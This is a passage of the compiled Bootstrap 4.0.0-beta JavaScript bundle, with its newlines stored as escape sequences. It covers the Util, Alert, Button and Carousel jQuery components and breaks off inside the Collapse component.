=== \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; };\n\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Util = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Private TransitionEnd Helpers\n   * ------------------------------------------------------------------------\n   */\n\n  var transition = false;\n\n  var MAX_UID = 1000000;\n\n  var TransitionEndEvent = {\n    WebkitTransition: 'webkitTransitionEnd',\n    MozTransition: 'transitionend',\n    OTransition: 'oTransitionEnd otransitionend',\n    transition: 'transitionend'\n\n    // shoutout AngusCroll (https://goo.gl/pxwQGp)\n  };function toType(obj) {\n    return {}.toString.call(obj).match(/\\s([a-zA-Z]+)/)[1].toLowerCase();\n  }\n\n  function isElement(obj) {\n    return (obj[0] || obj).nodeType;\n  }\n\n  function getSpecialTransitionEndEvent() {\n    return {\n      bindType: transition.end,\n      delegateType: transition.end,\n      handle: function handle(event) {\n        if ($(event.target).is(this)) {\n          return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params\n        }\n        return undefined;\n      }\n    };\n  }\n\n  function transitionEndTest() {\n    if (window.QUnit) {\n      return false;\n    }\n\n    var el = document.createElement('bootstrap');\n\n    for (var name in TransitionEndEvent) {\n      if (el.style[name] !== undefined) {\n        return {\n          end: TransitionEndEvent[name]\n        };\n      }\n    }\n\n    return false;\n  }\n\n  function transitionEndEmulator(duration) {\n    var _this = this;\n\n    var called = false;\n\n    $(this).one(Util.TRANSITION_END, function () {\n      called = true;\n    });\n\n    setTimeout(function () {\n      if (!called) {\n        Util.triggerTransitionEnd(_this);\n      }\n    }, duration);\n\n    return this;\n  }\n\n  function setTransitionEndSupport() {\n    transition = transitionEndTest();\n\n    $.fn.emulateTransitionEnd = transitionEndEmulator;\n\n    if (Util.supportsTransitionEnd()) {\n      $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent();\n    }\n  }\n\n  /**\n   * --------------------------------------------------------------------------\n   * Public Util Api\n   * --------------------------------------------------------------------------\n   */\n\n  var Util = {\n\n    TRANSITION_END: 'bsTransitionEnd',\n\n    getUID: function getUID(prefix) {\n      do {\n        // eslint-disable-next-line no-bitwise\n        prefix += ~~(Math.random() * MAX_UID); // \"~~\" acts like a faster Math.floor() here\n      } while (document.getElementById(prefix));\n      return prefix;\n    },\n    getSelectorFromElement: function getSelectorFromElement(element) {\n      var selector = element.getAttribute('data-target');\n      if (!selector || selector === '#') {\n        selector = element.getAttribute('href') || '';\n      }\n\n      try {\n        var $selector = $(selector);\n        return $selector.length > 0 ? selector : null;\n      } catch (error) {\n        return null;\n      }\n    },\n    reflow: function reflow(element) {\n      return element.offsetHeight;\n    },\n    triggerTransitionEnd: function triggerTransitionEnd(element) {\n      $(element).trigger(transition.end);\n    },\n    supportsTransitionEnd: function supportsTransitionEnd() {\n      return Boolean(transition);\n    },\n    typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) {\n      for (var property in configTypes) {\n        if (configTypes.hasOwnProperty(property)) {\n          var expectedTypes = configTypes[property];\n          var value = config[property];\n          var valueType = value && isElement(value) ? 'element' : toType(value);\n\n          if (!new RegExp(expectedTypes).test(valueType)) {\n            throw new Error(componentName.toUpperCase() + ': ' + ('Option \"' + property + '\" provided type \"' + valueType + '\" ') + ('but expected type \"' + expectedTypes + '\".'));\n          }\n        }\n      }\n    }\n  };\n\n  setTransitionEndSupport();\n\n  return Util;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Alert = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'alert';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.alert';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var TRANSITION_DURATION = 150;\n\n  var Selector = {\n    DISMISS: '[data-dismiss=\"alert\"]'\n  };\n\n  var Event = {\n    CLOSE: 'close' + EVENT_KEY,\n    CLOSED: 'closed' + EVENT_KEY,\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    ALERT: 'alert',\n    FADE: 'fade',\n    SHOW: 'show'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Alert = function () {\n    function Alert(element) {\n      _classCallCheck(this, Alert);\n\n      this._element = element;\n    }\n\n    // getters\n\n    // public\n\n    Alert.prototype.close = function close(element) {\n      element = element || this._element;\n\n      var rootElement = this._getRootElement(element);\n      var customEvent = this._triggerCloseEvent(rootElement);\n\n      if (customEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      this._removeElement(rootElement);\n    };\n\n    Alert.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n      this._element = null;\n    };\n\n    // private\n\n    Alert.prototype._getRootElement = function _getRootElement(element) {\n      var selector = Util.getSelectorFromElement(element);\n      var parent = false;\n\n      if (selector) {\n        parent = $(selector)[0];\n      }\n\n      if (!parent) {\n        parent = $(element).closest('.' + ClassName.ALERT)[0];\n      }\n\n      return parent;\n    };\n\n    Alert.prototype._triggerCloseEvent = function _triggerCloseEvent(element) {\n      var closeEvent = $.Event(Event.CLOSE);\n\n      $(element).trigger(closeEvent);\n      return closeEvent;\n    };\n\n    Alert.prototype._removeElement = function _removeElement(element) {\n      var _this2 = this;\n\n      $(element).removeClass(ClassName.SHOW);\n\n      if (!Util.supportsTransitionEnd() || !$(element).hasClass(ClassName.FADE)) {\n        this._destroyElement(element);\n        return;\n      }\n\n      $(element).one(Util.TRANSITION_END, function (event) {\n        return _this2._destroyElement(element, event);\n      }).emulateTransitionEnd(TRANSITION_DURATION);\n    };\n\n    Alert.prototype._destroyElement = function _destroyElement(element) {\n      $(element).detach().trigger(Event.CLOSED).remove();\n    };\n\n    // static\n\n    Alert._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var $element = $(this);\n        var data = $element.data(DATA_KEY);\n\n        if (!data) {\n          data = new Alert(this);\n          $element.data(DATA_KEY, data);\n        }\n\n        if (config === 'close') {\n          data[config](this);\n        }\n      });\n    };\n\n    Alert._handleDismiss = function _handleDismiss(alertInstance) {\n      return function (event) {\n        if (event) {\n          event.preventDefault();\n        }\n\n        alertInstance.close(this);\n      };\n    };\n\n    _createClass(Alert, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }]);\n\n    return Alert;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert()));\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Alert._jQueryInterface;\n  $.fn[NAME].Constructor = Alert;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Alert._jQueryInterface;\n  };\n\n  return Alert;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Button = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'button';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.button';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n\n  var ClassName = {\n    ACTIVE: 'active',\n    BUTTON: 'btn',\n    FOCUS: 'focus'\n  };\n\n  var Selector = {\n    DATA_TOGGLE_CARROT: '[data-toggle^=\"button\"]',\n    DATA_TOGGLE: '[data-toggle=\"buttons\"]',\n    INPUT: 'input',\n    ACTIVE: '.active',\n    BUTTON: '.btn'\n  };\n\n  var Event = {\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY,\n    FOCUS_BLUR_DATA_API: 'focus' + EVENT_KEY + DATA_API_KEY + ' ' + ('blur' + EVENT_KEY + DATA_API_KEY)\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Button = function () {\n    function Button(element) {\n      _classCallCheck(this, Button);\n\n      this._element = element;\n    }\n\n    // getters\n\n    // public\n\n    Button.prototype.toggle = function toggle() {\n      var triggerChangeEvent = true;\n      var addAriaPressed = true;\n      var rootElement = $(this._element).closest(Selector.DATA_TOGGLE)[0];\n\n      if (rootElement) {\n        var input = $(this._element).find(Selector.INPUT)[0];\n\n        if (input) {\n          if (input.type === 'radio') {\n            if (input.checked && $(this._element).hasClass(ClassName.ACTIVE)) {\n              triggerChangeEvent = false;\n            } else {\n              var activeElement = $(rootElement).find(Selector.ACTIVE)[0];\n\n              if (activeElement) {\n                $(activeElement).removeClass(ClassName.ACTIVE);\n              }\n            }\n          }\n\n          if (triggerChangeEvent) {\n            if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) {\n              return;\n            }\n            input.checked = !$(this._element).hasClass(ClassName.ACTIVE);\n            $(input).trigger('change');\n          }\n\n          input.focus();\n          addAriaPressed = false;\n        }\n      }\n\n      if (addAriaPressed) {\n        this._element.setAttribute('aria-pressed', !$(this._element).hasClass(ClassName.ACTIVE));\n      }\n\n      if (triggerChangeEvent) {\n        $(this._element).toggleClass(ClassName.ACTIVE);\n      }\n    };\n\n    Button.prototype.dispose = function dispose() {\n      $.removeData(this._element, DATA_KEY);\n      this._element = null;\n    };\n\n    // static\n\n    Button._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n\n        if (!data) {\n          data = new Button(this);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (config === 'toggle') {\n          data[config]();\n        }\n      });\n    };\n\n    _createClass(Button, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }]);\n\n    return Button;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {\n    event.preventDefault();\n\n    var button = event.target;\n\n    if (!$(button).hasClass(ClassName.BUTTON)) {\n      button = $(button).closest(Selector.BUTTON);\n    }\n\n    Button._jQueryInterface.call($(button), 'toggle');\n  }).on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {\n    var button = $(event.target).closest(Selector.BUTTON)[0];\n    $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type));\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Button._jQueryInterface;\n  $.fn[NAME].Constructor = Button;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Button._jQueryInterface;\n  };\n\n  return Button;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Carousel = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'carousel';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.carousel';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var TRANSITION_DURATION = 600;\n  var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key\n  var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key\n  var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch\n\n  var Default = {\n    interval: 5000,\n    keyboard: true,\n    slide: false,\n    pause: 'hover',\n    wrap: true\n  };\n\n  var DefaultType = {\n    interval: '(number|boolean)',\n    keyboard: 'boolean',\n    slide: '(boolean|string)',\n    pause: '(string|boolean)',\n    wrap: 'boolean'\n  };\n\n  var Direction = {\n    NEXT: 'next',\n    PREV: 'prev',\n    LEFT: 'left',\n    RIGHT: 'right'\n  };\n\n  var Event = {\n    SLIDE: 'slide' + EVENT_KEY,\n    SLID: 'slid' + EVENT_KEY,\n    KEYDOWN: 'keydown' + EVENT_KEY,\n    MOUSEENTER: 'mouseenter' + EVENT_KEY,\n    MOUSELEAVE: 'mouseleave' + EVENT_KEY,\n    TOUCHEND: 'touchend' + EVENT_KEY,\n    LOAD_DATA_API: 'load' + EVENT_KEY + DATA_API_KEY,\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    CAROUSEL: 'carousel',\n    ACTIVE: 'active',\n    SLIDE: 'slide',\n    RIGHT: 'carousel-item-right',\n    LEFT: 'carousel-item-left',\n    NEXT: 'carousel-item-next',\n    PREV: 'carousel-item-prev',\n    ITEM: 'carousel-item'\n  };\n\n  var Selector = {\n    ACTIVE: '.active',\n    ACTIVE_ITEM: '.active.carousel-item',\n    ITEM: '.carousel-item',\n    NEXT_PREV: '.carousel-item-next, .carousel-item-prev',\n    INDICATORS: '.carousel-indicators',\n    DATA_SLIDE: '[data-slide], [data-slide-to]',\n    DATA_RIDE: '[data-ride=\"carousel\"]'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Carousel = function () {\n    function Carousel(element, config) {\n      _classCallCheck(this, Carousel);\n\n      this._items = null;\n      this._interval = null;\n      this._activeElement = null;\n\n      this._isPaused = false;\n      this._isSliding = false;\n\n      this.touchTimeout = null;\n\n      this._config = this._getConfig(config);\n      this._element = $(element)[0];\n      this._indicatorsElement = $(this._element).find(Selector.INDICATORS)[0];\n\n      this._addEventListeners();\n    }\n\n    // getters\n\n    // public\n\n    Carousel.prototype.next = function next() {\n      if (!this._isSliding) {\n        this._slide(Direction.NEXT);\n      }\n    };\n\n    Carousel.prototype.nextWhenVisible = function nextWhenVisible() {\n      // Don't call next when the page isn't visible\n      if (!document.hidden) {\n        this.next();\n      }\n    };\n\n    Carousel.prototype.prev = function prev() {\n      if (!this._isSliding) {\n        this._slide(Direction.PREV);\n      }\n    };\n\n    Carousel.prototype.pause = function pause(event) {\n      if (!event) {\n        this._isPaused = true;\n      }\n\n      if ($(this._element).find(Selector.NEXT_PREV)[0] && Util.supportsTransitionEnd()) {\n        Util.triggerTransitionEnd(this._element);\n        this.cycle(true);\n      }\n\n      clearInterval(this._interval);\n      this._interval = null;\n    };\n\n    Carousel.prototype.cycle = function cycle(event) {\n      if (!event) {\n        this._isPaused = false;\n      }\n\n      if (this._interval) {\n        clearInterval(this._interval);\n        this._interval = null;\n      }\n\n      if (this._config.interval && !this._isPaused) {\n        this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval);\n      }\n    };\n\n    Carousel.prototype.to = function to(index) {\n      var _this3 = this;\n\n      this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0];\n\n      var activeIndex = this._getItemIndex(this._activeElement);\n\n      if (index > this._items.length - 1 || index < 0) {\n        return;\n      }\n\n      if (this._isSliding) {\n        $(this._element).one(Event.SLID, function () {\n          return _this3.to(index);\n        });\n        return;\n      }\n\n      if (activeIndex === index) {\n        this.pause();\n        this.cycle();\n        return;\n      }\n\n      var direction = index > activeIndex ? Direction.NEXT : Direction.PREV;\n\n      this._slide(direction, this._items[index]);\n    };\n\n    Carousel.prototype.dispose = function dispose() {\n      $(this._element).off(EVENT_KEY);\n      $.removeData(this._element, DATA_KEY);\n\n      this._items = null;\n      this._config = null;\n      this._element = null;\n      this._interval = null;\n      this._isPaused = null;\n      this._isSliding = null;\n      this._activeElement = null;\n      this._indicatorsElement = null;\n    };\n\n    // private\n\n    Carousel.prototype._getConfig = function _getConfig(config) {\n      config = $.extend({}, Default, config);\n      Util.typeCheckConfig(NAME, config, DefaultType);\n      return config;\n    };\n\n    Carousel.prototype._addEventListeners = function _addEventListeners() {\n      var _this4 = this;\n\n      if (this._config.keyboard) {\n        $(this._element).on(Event.KEYDOWN, function (event) {\n          return _this4._keydown(event);\n        });\n      }\n\n      if (this._config.pause === 'hover') {\n        $(this._element).on(Event.MOUSEENTER, function (event) {\n          return _this4.pause(event);\n        }).on(Event.MOUSELEAVE, function (event) {\n          return _this4.cycle(event);\n        });\n        if ('ontouchstart' in document.documentElement) {\n          // if it's a touch-enabled device, mouseenter/leave are fired as\n          // part of the mouse compatibility events on first tap - the carousel\n          // would stop cycling until user tapped out of it;\n          // here, we listen for touchend, explicitly pause the carousel\n          // (as if it's the second time we tap on it, mouseenter compat event\n          // is NOT fired) and after a timeout (to allow for mouse compatibility\n          // events to fire) we explicitly restart cycling\n          $(this._element).on(Event.TOUCHEND, function () {\n            _this4.pause();\n            if (_this4.touchTimeout) {\n              clearTimeout(_this4.touchTimeout);\n            }\n            _this4.touchTimeout = setTimeout(function (event) {\n              return _this4.cycle(event);\n            }, TOUCHEVENT_COMPAT_WAIT + _this4._config.interval);\n          });\n        }\n      }\n    };\n\n    Carousel.prototype._keydown = function _keydown(event) {\n      if (/input|textarea/i.test(event.target.tagName)) {\n        return;\n      }\n\n      switch (event.which) {\n        case ARROW_LEFT_KEYCODE:\n          event.preventDefault();\n          this.prev();\n          break;\n        case ARROW_RIGHT_KEYCODE:\n          event.preventDefault();\n          this.next();\n          break;\n        default:\n          return;\n      }\n    };\n\n    Carousel.prototype._getItemIndex = function _getItemIndex(element) {\n      this._items = $.makeArray($(element).parent().find(Selector.ITEM));\n      return this._items.indexOf(element);\n    };\n\n    Carousel.prototype._getItemByDirection = function _getItemByDirection(direction, activeElement) {\n      var isNextDirection = direction === Direction.NEXT;\n      var isPrevDirection = direction === Direction.PREV;\n      var activeIndex = this._getItemIndex(activeElement);\n      var lastItemIndex = this._items.length - 1;\n      var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex;\n\n      if (isGoingToWrap && !this._config.wrap) {\n        return activeElement;\n      }\n\n      var delta = direction === Direction.PREV ? -1 : 1;\n      var itemIndex = (activeIndex + delta) % this._items.length;\n\n      return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex];\n    };\n\n    Carousel.prototype._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) {\n      var targetIndex = this._getItemIndex(relatedTarget);\n      var fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0]);\n      var slideEvent = $.Event(Event.SLIDE, {\n        relatedTarget: relatedTarget,\n        direction: eventDirectionName,\n        from: fromIndex,\n        to: targetIndex\n      });\n\n      $(this._element).trigger(slideEvent);\n\n      return slideEvent;\n    };\n\n    Carousel.prototype._setActiveIndicatorElement = function _setActiveIndicatorElement(element) {\n      if (this._indicatorsElement) {\n        $(this._indicatorsElement).find(Selector.ACTIVE).removeClass(ClassName.ACTIVE);\n\n        var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)];\n\n        if (nextIndicator) {\n          $(nextIndicator).addClass(ClassName.ACTIVE);\n        }\n      }\n    };\n\n    Carousel.prototype._slide = function _slide(direction, element) {\n      var _this5 = this;\n\n      var activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0];\n      var activeElementIndex = this._getItemIndex(activeElement);\n      var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement);\n      var nextElementIndex = this._getItemIndex(nextElement);\n      var isCycling = Boolean(this._interval);\n\n      var directionalClassName = void 0;\n      var orderClassName = void 0;\n      var eventDirectionName = void 0;\n\n      if (direction === Direction.NEXT) {\n        directionalClassName = ClassName.LEFT;\n        orderClassName = ClassName.NEXT;\n        eventDirectionName = Direction.LEFT;\n      } else {\n        directionalClassName = ClassName.RIGHT;\n        orderClassName = ClassName.PREV;\n        eventDirectionName = Direction.RIGHT;\n      }\n\n      if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n        this._isSliding = false;\n        return;\n      }\n\n      var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName);\n      if (slideEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      if (!activeElement || !nextElement) {\n        // some weirdness is happening, so we bail\n        return;\n      }\n\n      this._isSliding = true;\n\n      if (isCycling) {\n        this.pause();\n      }\n\n      this._setActiveIndicatorElement(nextElement);\n\n      var slidEvent = $.Event(Event.SLID, {\n        relatedTarget: nextElement,\n        direction: eventDirectionName,\n        from: activeElementIndex,\n        to: nextElementIndex\n      });\n\n      if (Util.supportsTransitionEnd() && $(this._element).hasClass(ClassName.SLIDE)) {\n\n        $(nextElement).addClass(orderClassName);\n\n        Util.reflow(nextElement);\n\n        $(activeElement).addClass(directionalClassName);\n        $(nextElement).addClass(directionalClassName);\n\n        $(activeElement).one(Util.TRANSITION_END, function () {\n          $(nextElement).removeClass(directionalClassName + ' ' + orderClassName).addClass(ClassName.ACTIVE);\n\n          $(activeElement).removeClass(ClassName.ACTIVE + ' ' + orderClassName + ' ' + directionalClassName);\n\n          _this5._isSliding = false;\n\n          setTimeout(function () {\n            return $(_this5._element).trigger(slidEvent);\n          }, 0);\n        }).emulateTransitionEnd(TRANSITION_DURATION);\n      } else {\n        $(activeElement).removeClass(ClassName.ACTIVE);\n        $(nextElement).addClass(ClassName.ACTIVE);\n\n        this._isSliding = false;\n        $(this._element).trigger(slidEvent);\n      }\n\n      if (isCycling) {\n        this.cycle();\n      }\n    };\n\n    // static\n\n    Carousel._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n        var _config = $.extend({}, Default, $(this).data());\n\n        if ((typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object') {\n          $.extend(_config, config);\n        }\n\n        var action = typeof config === 'string' ? config : _config.slide;\n\n        if (!data) {\n          data = new Carousel(this, _config);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'number') {\n          data.to(config);\n        } else if (typeof action === 'string') {\n          if (data[action] === undefined) {\n            throw new Error('No method named \"' + action + '\"');\n          }\n          data[action]();\n        } else if (_config.interval) {\n          data.pause();\n          data.cycle();\n        }\n      });\n    };\n\n    Carousel._dataApiClickHandler = function _dataApiClickHandler(event) {\n      var selector = Util.getSelectorFromElement(this);\n\n      if (!selector) {\n        return;\n      }\n\n      var target = $(selector)[0];\n\n      if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n        return;\n      }\n\n      var config = $.extend({}, $(target).data(), $(this).data());\n      var slideIndex = this.getAttribute('data-slide-to');\n\n      if (slideIndex) {\n        config.interval = false;\n      }\n\n      Carousel._jQueryInterface.call($(target), config);\n\n      if (slideIndex) {\n        $(target).data(DATA_KEY).to(slideIndex);\n      }\n\n      event.preventDefault();\n    };\n\n    _createClass(Carousel, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }]);\n\n    return Carousel;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler);\n\n  $(window).on(Event.LOAD_DATA_API, function () {\n    $(Selector.DATA_RIDE).each(function () {\n      var $carousel = $(this);\n      Carousel._jQueryInterface.call($carousel, $carousel.data());\n    });\n  });\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Carousel._jQueryInterface;\n  $.fn[NAME].Constructor = Carousel;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Carousel._jQueryInterface;\n  };\n\n  return Carousel;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Collapse = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'collapse';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.collapse';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var DATA_API_KEY = '.data-api';\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var TRANSITION_DURATION = 600;\n\n  var Default = {\n    toggle: true,\n    parent: ''\n  };\n\n  var DefaultType = {\n    toggle: 'boolean',\n    parent: 'string'\n  };\n\n  var Event = {\n    SHOW: 'show' + EVENT_KEY,\n    SHOWN: 'shown' + EVENT_KEY,\n    HIDE: 'hide' + EVENT_KEY,\n    HIDDEN: 'hidden' + EVENT_KEY,\n    CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY\n  };\n\n  var ClassName = {\n    SHOW: 'show',\n    COLLAPSE: 'collapse',\n    COLLAPSING: 'collapsing',\n    COLLAPSED: 'collapsed'\n  };\n\n  var Dimension = {\n    WIDTH: 'width',\n    HEIGHT: 'height'\n  };\n\n  var Selector = {\n    ACTIVES: '.show, .collapsing',\n    DATA_TOGGLE: '[data-toggle=\"collapse\"]'\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Collapse = function () {\n    function Collapse(element, config) {\n      _classCallCheck(this, Collapse);\n\n      this._isTransitioning = false;\n      this._element = element;\n      this._config = this._getConfig(config);\n      this._triggerArray = $.makeArray($('[data-toggle=\"collapse\"][href=\"#' + element.id + '\"],' + ('[data-toggle=\"collapse\"][data-target=\"#' + element.id + '\"]')));\n      var tabToggles = $(Selector.DATA_TOGGLE);\n      for (var i = 0; i < tabToggles.length; i++) {\n        var elem = tabToggles[i];\n        var selector = Util.getSelectorFromElement(elem);\n        if (selector !== null && $(selector).filter(element).length > 0) {\n          this._triggerArray.push(elem);\n        }\n      }\n\n      this._parent = this._config.parent ? this._getParent() : null;\n\n      if (!this._config.parent) {\n        this._addAriaAndCollapsedClass(this._element, this._triggerArray);\n      }\n\n      if (this._config.toggle) {\n        this.toggle();\n      }\n    }\n\n    // getters\n\n    // public\n\n    Collapse.prototype.toggle = function toggle() {\n      if ($(this._element).hasClass(ClassName.SHOW)) {\n        this.hide();\n      } else {\n        this.show();\n      }\n    };\n\n    Collapse.prototype.show = function show() {\n      var _this6 = this;\n\n      if (this._isTransitioning || $(this._element).hasClass(ClassName.SHOW)) {\n        return;\n      }\n\n      var actives = void 0;\n      var activesData = void 0;\n\n      if (this._parent) {\n        actives = $.makeArray($(this._parent).children().children(Selector.ACTIVES));\n        if (!actives.length) {\n          actives = null;\n        }\n      }\n\n      if (actives) {\n        activesData = $(actives).data(DATA_KEY);\n        if (activesData && activesData._isTransitioning) {\n          return;\n        }\n      }\n\n      var startEvent = $.Event(Event.SHOW);\n      $(this._element).trigger(startEvent);\n      if (startEvent.isDefaultPrevented()) {\n        return;\n      }\n\n      if (actives) {\n        Collapse._jQueryInterface.call($(actives), 'hide');\n        if (!activesData) {\n          $(actives).data(DATA_KEY, null);\n        }\n      }\n\n      var dimension = this._getDimension();\n\n      $(this._element).removeClass(ClassName.COLLAPSE).addClass(ClassName.COLLAPSING);\n\n      this._element.style[dimension] = 0;\n\n      if (this._triggerArray.length) {\n        $(this._triggerArray).removeClass(ClassName.COLLAPSED).attr('aria-expanded', true);\n      }\n\n      this.setTransitioning(true);\n\n      var complete = function complete() {\n        $(_this6._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).addClass(ClassName.SHOW);\n\n        _this6._element.style[dimension] = '';\n\n        _this6.setTransitioning(false);\n\n        $(_this6._element).trigger(Event.SHOWN);\n      };\n\n      if 